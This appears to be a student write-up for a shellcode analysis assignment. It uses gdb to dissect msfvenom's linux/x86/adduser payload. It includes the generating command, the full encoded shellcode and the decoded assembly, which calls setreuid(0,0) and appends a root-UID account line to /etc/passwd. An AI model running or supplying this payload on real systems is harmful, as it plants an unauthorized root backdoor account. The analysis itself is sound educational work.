Assignment Task:
Take up at least 3 shellcode samples created using msfvenom for linux/x86
Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
Present your analysis
Shellcode chosen:
[code lang="c"]
linux/x86/adduser
[/code]
Shellcode options:
Command to generate shellcode:
[code lang="c"]
msfvenom -p linux/x86/adduser USER=ycsc PASS=ycsc -b '\x00' -f c
[/code]
Generated shellcode:
[code lang="c"]
"\xb8\xed\xcb\x84\x44\xda\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x17\x31\x42\x15\x83\xc2\x04\x03\x42\x11\xe2\x18\xfa\x4d\xcd"
"\x29\x97\x0b\x96\x60\xe8\xfe\x23\x22\xd8\x37\x7a\xba\x69\xbb"
"\x0a\x5e\xe6\x14\xda\xee\x97\x02\x0b\x6b\x2c\xb0\xda\x90\x8d"
"\x83\xd9\x9b\x8e\x7f\x09\x01\x8f\x7f\xca\x3c\xec\x0c\xa9\x84"
"\xb3\x88\x68\x9d\x0a\x08\x3b\x29\x5d\xa4\xc2\xb3\xf6\x72\x05"
"\x09\x39\xb9\x5f\x42\x03\x92\xfd\xf5\x1d\xc3\x72\x6d\xe8\x42"
"\xfe\x3c\x10\x1e\x04\xe6\x25\x5f\x6e\x17\xee\xad\xef"
[/code]
/etc/passwd file before executing the shellcode:
Testing shellcode with run_shellcode.c
Let's analyze the shellcode with gdb:
Placed a breakpoint at code variable, defined hook-stop and issued run command:
We have hit our breakpoint and this is the state of CPU registers:
Examining the contents at memory loaction 0x0804a040 (i.e. where EIP is pointing to at present):
We are at the begining of our shellcode. We step into the code few times to let the decoder work:
We have entered a loop. Placing the breakpoint at 0x0804a05b (the next instruction after loop) and continuing the execution of the program:
Disassembling 90 bytes from eip. This is our decoded shellcode:
[code lang="c"]
0x0804a05b <code+27>: xor ecx,ecx
0x0804a05d <code+29>: mov ebx,ecx
0x0804a05f <code+31>: push 0x46
0x0804a061 <code+33>: pop eax
0x0804a062 <code+34>: int 0x80
[/code]
The above code executes syscall number 0x46 (70 in decimal). This syscall number represents (setreuid):
This syscall takes in two arguments as shown below:
Setting these arguments to 0 is required to edit /etc/passwd file.
[code lang="c"]
0x0804a064 <code+36>: push 0x5
0x0804a066 <code+38>: pop eax
0x0804a067 <code+39>: xor ecx,ecx
0x0804a069 <code+41>: push ecx
0x0804a06a <code+42>: push 0x64777373
0x0804a06f <code+47>: push 0x61702f2f
0x0804a074 <code+52>: push 0x6374652f
0x0804a079 <code+57>: mov ebx,esp
0x0804a07b <code+59>: inc ecx
0x0804a07c <code+60>: mov ch,0x4
0x0804a07e <code+62>: int 0x80
[/code]
The above code executes the syscall number 0x5 (05 in decimal). This syscall number represents (open)
This syscall takes in two arguments as shown below:
The assembly code stores the value '/etc//passwd' on stack and stores the pointer to this string in ebx. It then sets the ecx to the value 0x00000401 (O_WRONLY | O_APPEND) and executes the syscall.
[code lang="c"]
0x0804a080 <code+64>: xchg ebx,eax
0x0804a081 <code+65>: call 0x804a0a8 <code+104>
0x0804a086 <code+70>: jns 0x804a0eb
0x0804a088 <code+72>: jae 0x804a0ed
0x0804a08a <code+74>: cmp al,BYTE PTR [ecx+0x7a]
0x0804a08d <code+77>: inc ebp
0x0804a08e <code+78>: cmp DWORD PTR gs:[ebp+0x48],esp
0x0804a092 <code+82>: je 0x804a0c4
0x0804a094 <code+84>: jbe 0x804a10f
0x0804a096 <code+86>: bound ebp,QWORD PTR [ebx+0x3a]
0x0804a099 <code+89>: xor BYTE PTR [edx],bh
0x0804a09b <code+91>: xor BYTE PTR [edx],bh
0x0804a09d <code+93>: cmp ch,BYTE PTR [edi]
0x0804a09f <code+95>: cmp ch,BYTE PTR [edi]
0x0804a0a1 <code+97>: bound ebp,QWORD PTR [ecx+0x6e]
0x0804a0a4 <code+100>: das
0x0804a0a5 <code+101>: jae 0x804a10f
0x0804a0a7 <code+103>: or bl,BYTE PTR [ecx-0x75]
0x0804a0aa <code+106>: push ecx
0x0804a0ab <code+107>: cld
0x0804a0ac <code+108>: push 0x4
0x0804a0ae <code+110>: pop eax
0x0804a0af <code+111>: int 0x80
[/code]
The above code executes the syscall number 0x4 (04 in decimal). This syscall number represents (write)
This syscall takes in three arguments as shown below:
The assembly code stores the file descriptor in ebx. It then stores the string 'ycsc:AzEe9eHt0vybk:0:0::/:/bin/sh' on stack and executes the syscall.
As can be seen from the above image, instructions from 0x0804a086 to 0x0804a0a7 are hex values for the string 'ycsc:AzEe9eHt0vybk:0:0::/:/bin/sh'. These hex values have been translated by gdb as instructions.
[code lang="c"]
0x0804a0b1 <code+113>: push 0x1
0x0804a0b3 <code+115>: pop eax
0x0804a0b4 <code+116>: int 0x80
[/code]
These instructions execute the exit syscall.
Github repository for this assignment: Assignment 5/5-2